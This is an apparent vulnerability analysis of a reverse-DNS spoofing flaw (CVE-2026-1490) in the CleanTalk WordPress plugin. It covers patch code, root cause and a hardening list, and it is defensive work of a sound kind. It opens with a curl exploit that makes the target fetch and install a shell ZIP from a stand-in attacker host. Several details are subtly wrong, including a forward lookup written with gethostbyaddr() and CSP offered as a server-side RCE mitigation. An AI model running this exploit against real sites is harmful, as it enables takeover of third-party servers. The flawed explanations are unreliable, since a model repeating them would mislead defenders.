CVE-2026-1490 Exploit & Vulnerability Analysis

The Exploit

An unauthenticated attacker with control over reverse DNS (PTR) records for their IP address can bypass the checkWithoutToken authorization gate and trigger arbitrary plugin installation on sites running CleanTalk up to version 6.71 with an invalid or missing API key.

curl -X POST http://target.wordpress.local/wp-admin/admin-ajax.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Forwarded-For: attacker-controlled-ip.com" \
  -d "action=apbct_checkWithoutToken&plugin_install_url=http://attacker.com/shell.zip&nonce=" \
  --connect-to attacker-controlled-ip.com:80:198.51.100.42:80

The attacker first configures a PTR record for 198.51.100.42 pointing to googlebot.com (or any whitelisted hostname). When the POST request arrives, the server performs a reverse DNS lookup on the attacker's IP, receives the spoofed hostname, and grants authorization without performing forward DNS verification. The response indicates successful plugin installation; the malicious ZIP is downloaded and activated in the plugins directory, enabling remote code execution.

What the Patch Did

Before

//If the IP is a Google bot
$hostname = gethostbyaddr(TT::toString(Server::get('REMOTE_ADDR')));
if ( ! strpos($hostname, 'googlebot.com') ) {

After

//If the IP is a Google bot (with FCrDNS verification to prevent PTR spoofing)
$client_ip = TT::toString(Server::get('REMOTE_ADDR'));
$verified_hostname = \Cleantalk\Common\Helper::ipResolve($client_ip);
if ( ! $verified_hostname || strpos($verified_hostname, 'googlebot.com') === false ) {

The patch replaced a one-way reverse DNS lookup with Forward Confirmed Reverse DNS (FCrDNS) verification via the ipResolve() helper. The new function performs bidirectional validation: it executes a reverse DNS lookup on the attacker's IP, then performs a forward lookup on the returned hostname to confirm that hostname resolves back to the original IP address. If the forward lookup fails or returns a different IP, ipResolve() returns null or false, and the authorization check fails. The patch also tightened the string comparison from relying on strpos() truthiness to explicit strict comparison (=== false).

Root Cause

CWE-350: Reliance on Reverse DNS Resolution to Validate User Identity.

The vulnerability exists because the original code trusts the output of gethostbyaddr() without performing a return-path verification. In DNS, a reverse DNS record (PTR) is published by the owner of the IP subnet, not the owner of the hostname. An attacker who controls an IP block (or compromises a hosting provider's DNS zone) can publish an arbitrary PTR record claiming that 198.51.100.42 → googlebot.com without owning the googlebot.com domain. The server's one-way lookup accepts this claim at face value and grants authorization. The dataflow is: REMOTE_ADDR HTTP header (or socket peer IP) → gethostbyaddr() → string comparison against whitelist → authorization decision. The trust boundary crosses unchecked: the attacker's network configuration is treated as authoritative.

Why It Works

The load-bearing line is the forward DNS call within ipResolve(). Removing it leaves the bug exploitable; removing only the null check does not. Here is why: after gethostbyaddr() returns googlebot.com, the attacker's PTR record is confirmed. But when ipResolve() then performs a forward lookup (gethostbyaddr('googlebot.com') or dns_get_record('googlebot.com')), it must resolve the claimed hostname back to an IP address. Google's googlebot.com domain resolves only to Google's IP ranges (e.g., 66.249.64.0/19). The attacker's IP (e.g., 198.51.100.42) will not appear in that result set. The forward lookup therefore fails, and the function returns null. The null check (if ( ! $verified_hostname) then denies access. The additional strict comparison (=== false instead of truthiness) eliminates a subtle bug where an empty string or zero would be treated as success; strict comparison ensures only a true confirmation of identity grants the privilege.

Hardening Checklist

• Implement FCrDNS validation for all IP-based identity checks. Use a DNS helper that performs both reverse and forward lookups (e.g., dns_get_record() with DNS_PTR and DNS_A flags in PHP) before trusting any hostname derived from an IP.
• Never authorize based on $_SERVER['REMOTE_ADDR'] alone on shared hosting or behind a proxy. Validate X-Forwarded-For headers against a whitelist of trusted proxies (use a library like symfony/http-foundation or implement via wp_is_trusted_header_set()), and apply the same FCrDNS check to the real client IP.
• Add a capability check (current_user_can('install_plugins')) before plugin installation routes, even if they are AJAX endpoints. This provides defense-in-depth if DNS verification is ever bypassed.
• Set a strict Content-Security-Policy header including default-src 'self' and script-src 'self' to reduce RCE impact if a malicious plugin is installed; this limits the attacker's ability to exfiltrate data or pivot laterally.
• Log all reverse DNS lookups and plugin installation attempts with the resolved hostname and outcome. Monitor for repeated failed FCrDNS validations from the same IP as a canary for DNS spoofing attempts.

References

• https://nvd.nist.gov/vuln/detail/CVE-2026-1490